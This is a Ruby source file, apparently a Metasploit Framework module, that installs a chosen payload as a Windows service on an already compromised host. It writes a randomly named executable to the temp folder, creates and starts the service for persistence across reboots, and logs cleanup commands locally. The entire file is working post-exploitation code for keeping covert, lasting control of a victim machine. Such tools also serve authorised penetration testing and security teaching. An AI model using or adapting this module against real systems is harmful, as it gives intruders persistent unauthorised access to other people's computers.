
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Services
  include Exploit::EXE

  def initialize(info = {})
    super(update_info(
          info,
          'Name'          => 'Windows Persistent Payload as a Service Installer',
          'Description'   => %q{
            This Module will create a boot persistent session  using a selected payload by
            installing on the target host the payload as a service.
          },
          'License'       => BSD_LICENSE,
          'Author'        => 'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'Platform'      => 'win',
          'SessionTypes'  => 'meterpreter',
          'Targets'       => [['Windows', {}]],
          'DefaultTarget' => 0,
          'DisclosureDate' => 'Oct 19 2011'
    ))

    register_options(
      [
        OptString.new('SRV_NAME', [false,
          'Name for the service (Single word, do not include spaces or special characters.).', '']),

        OptString.new('DISPLAY_NAME', [false,
          'Descriptive Name for the service .', ''])
      ], self.class)
  end

  # Exploit Method for when run command is issued
  #-------------------------------------------------------------------------------
  def exploit
    print_status("Running module against #{sysinfo['Computer']}")

    host, port = session.session_host, session.session_port

    if datastore['SRV_NAME'] == ''
      srvname = Rex::Text.rand_text_alpha(rand(8) + 8)
    else
      srvname = datastore['SRV_NAME']
    end

    display_name = datastore['DISPLAY_NAME']

    @clean_up_rc = ''

    # Create payload
    if datastore['EXE::Custom'].nil?
      srv_exe = generate_payload_exe_service(:servicename => srvname)
    else
      srv_exe =  get_custom_exe
    end

    exe_on_target = write_exe_to_target(srv_exe, srvname)
    if exe_on_target == nil
      # exit if we could not write the payload on to the target.
      return
    end

    installed = install_as_service(exe_on_target, srvname, display_name)
    if not installed
      # Exit module if we could not install the service.
      return
    end

    clean_rc = log_file
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Cleanup Meterpreter RC File: #{clean_rc}")

    report_note(
		:host => host,
        :type => 'host.persistence.cleanup',
        :data => {
          :local_id => session.sid,
          :stype => session.type,
          :desc => session.info,
          :platform => session.platform,
          :via_payload => session.via_payload,
          :via_exploit => session.via_exploit,
          :created_at => Time.now.utc,
          :commands =>  @clean_up_rc
        }
    )
    print_status('Starting service')
    service_start(srvname)
  end

  # Install payload as a service
  #-------------------------------------------------------------------------------
  def install_as_service(exe_on_target, srv_name, display_name)
    if  is_system? || is_admin?
      print_status("Creating service #{srv_name}")
      srv_scuccess = service_create(srv_name, display_name, "#{exe_on_target}")
      if srv_scuccess
        @clean_up_rc << "execute -H -f sc -a \"delete #{srv_name}\"\n"
      else
        print_error('Could not create service on target host.')
      end
    else
      print_error('Insufficient privileges to create service')
    end
    srv_scuccess
  end

  # writes executable to target host
  #-------------------------------------------------------------------------------
  def write_exe_to_target(exe, rexename)
    tempdir = session.fs.file.expand_path('%TEMP%')
    tempexe = tempdir + '\\' + rexename + '.exe'
    begin
      fd = session.fs.file.new(tempexe, 'wb')
      fd.write(exe)
      fd.close
      print_good("Service EXE written to #{tempexe}")
      @clean_up_rc << "rm #{tempexe}\n"
    rescue
      print_error('Could not create payload on target host.')
      tempexe = nil
    end
    tempexe
  end

  # Creates log folder and returning log path
  #-------------------------------------------------------------------------------
  def log_file(log_path = nil)
    # Get hostname
    host = session.sys.config.sysinfo['Computer']

    # Create Filename info to be appended to downloaded files
    filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # log file name
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
    logfile
  end
end
